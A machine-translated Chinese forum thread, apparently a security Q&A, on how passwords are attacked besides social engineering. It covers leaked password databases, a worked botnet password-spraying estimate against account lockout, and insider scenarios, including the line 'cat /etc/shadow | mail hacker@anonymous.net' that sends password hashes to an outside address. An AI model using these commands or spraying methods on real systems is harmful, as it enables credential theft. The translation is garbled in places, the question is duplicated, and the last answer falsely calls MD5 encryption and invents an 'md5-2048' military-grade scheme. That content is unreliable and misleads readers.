我从密码学的角度理解,您希望密码尽可能随机以抵抗暴力破解或字典攻击。这很好——但在什么情况下可以实际采用这些方法?如果您输入的错误猜想超过几个,我几乎所有的系统都会有密码将您锁在门外。我们正在研究数百万次猜测,即使是非常弱的密码,这在这些类型的系统上似乎是不可能的。
除了社会工程之外,人们如何攻击密码?
我从密码学的角度理解,您希望密码尽可能随机以抵抗暴力破解或字典攻击。这很好——但在什么情况下可以实际采用这些方法?如果您输入的错误猜想超过几个,我几乎所有的系统都会有密码将您锁在门外。我们正在研究数百万次猜测,即使是非常弱的密码,这在这些类型的系统上似乎是不可能的。
除了社会工程之外,人们如何攻击密码?
大约 130 万注册用户(包括 Gawker Media 所有者 Nick Denton 及其员工的用户)的电子邮件和密码被访问并随后在线发布。
一个自称为 D33Ds Co. 的黑客团体公开发布了超过 450,000 个登录凭据——即配对的用户名和密码——从雅虎的“贡献者网络”站点获得。
…
依靠密码攻击的速率限制是很好的,直到密码数据库被泄露。
当密码数据库是明文时,这个密码的游戏就结束了。您无法通过使用强密码来缓解这种情况,只能通过不在不同站点上重复使用相同的密码(或易于修改的密码,例如swordfish!Yahoovs )。swordfish!Tesco
当密码数据库被散列时,攻击者需要一些时间来运行离线搜索并找到密码。密码越强,哈希值越好,攻击者需要的时间越长。如果您的密码足够强大,那么您可能有机会在任何攻击者找到您的密码之前更改您的密码。这使用户处于竞争中:最弱的密码将首先被利用。即使在这种情况下,您也需要在使用它的任何地方更改密码,这强烈支持真正的站点唯一密码。
假设您有一个僵尸网络,它可以在许多唯一客户端 IP 上分发登录尝试(足以让某人简单地为您设置防火墙并不容易),并且您想使用您的僵尸网络popularwebsite.com通过蛮力猜测正确的登录。我们还假设popularwebsite.com在连续 5 次错误登录尝试后锁定用户帐户。
没问题。启动您的僵尸网络,并从广泛分散的源 IP 集对其进行每秒 1000 次登录尝试。每次登录尝试都使用最常见的密码之一(123456、password等),并尝试使用该密码猜测用户帐户。(如果他们有一个电子邮件地址数据库来获取想法,应该很容易。)如果您没有足够快地猜出正确的用户popularwebsite.com,是否停止接受所有使用该密码的登录尝试?我对此表示怀疑!
那么我们在这里的前景如何?首先让我们做一些假设:
password密码这意味着如果我们password每次都尝试作为密码,那么单个人猜测的登录正确的概率是:
47 / (1000 * 5) = 0.94%
因此,如果我们在猜测实际用户帐户方面的效率为 20%,那么我们大约每 106 次尝试这样做就会受到打击,或者使用我们想象的僵尸网络每秒大约 10 次成功。这没有任何服务器端的妥协或利用,只是猜测登录。如果我们的僵尸网络在用户的家用 PC 上运行,目标可以阻止攻击的唯一方法是强制 4.7% 的用户更改密码,这会将其中一些用户赶走,我们只需重新开始123456。
但是,如果人们使用其他人不使用的密码,那么让这种攻击得到回报就绝非易事。
有恶意的人可以通过以下方法窃取敏感信息(即密码)。
示例:恶意黑客以 3 个月合同的开发人员身份在受攻击公司任职,并在具有有限权限的服务器上获得了一个 shell 帐户,我要求系统管理员检查是否存在阻碍我工作的未知问题。我设法说服他/她给我 root 权限来访问我编写的 shell 脚本 5 分钟,因为它有助于自定义工作环境并大大加快我的项目速度。由于他正忙于其他事情,十分钟后要开会,他给了我root10 分钟的自定义脚本权限。我设置了一个陷阱,恶意脚本以 root 权限运行,它通过电子邮件发送给/etc/shadow文件到我公司的电子邮件帐户。几周后,在我授予我的 VPN 访问权限后,我将从我的家用计算机 VPN 进入,我将从我的公司电子邮件中获得一份副本/粘贴到我的家庭桌面。我获得了密码哈希。
示例:恶意黑客在为公司分包的清洁业务中担任清洁工,正在受到攻击。他有权访问 IT 部门的场所,包括系统管理员或首席开发人员的办公桌。他在便利贴上寻找密码或敏感信息,或者试图找到未锁定的工作站等。他迟早会找到一个。想象一下系统管理员的打开终端,他在匆忙回家后不小心打开了他的 shell 终端。当然,sudo特权与root由于他忘记锁工作站,访问仍然开放......他正在清理办公桌,刷掉键盘上的灰尘,环顾四周,没有人在看,整个办公室都是空的,每个人都回家了那天。他快速键入cat /etc/shadow | mail hacker@anonymous.net并获得密码哈希。
示例:针对一个保护不佳的 Web 服务器,恶意黑客设法运行 XSS 脚本,其中代码注入运行一个命令,该命令将调用的文件邮寄给/root/my.cnf他. 他认为他的 HOME 目录无论如何都是安全的,所以他认为从 root 的 HOME 中删除包括密码在内的文件并不是一个高优先级。MySQL 密码恰好与该机器上的密码相同root。使用 root 密码,获取其他更受保护的服务器密码的其他敏感信息绝非易事。
以上方法我相信不是社会工程学。希望这有助于扩大您的想象力:)
我看起来像你令人困惑的各个安全层。文件的加密是一种安全级别,可以是 md5 加密,这将是一种加密。那么你有与 md5-2048 相关的加密强度将是军事级的。另一层安全性是您的密码强度,越复杂越好。现在,如果您想附加密码,您必须询问原因是什么,以及密码是否真的是评估系统漏洞所需要的,或者您是否可以找到解决方法。
瑞克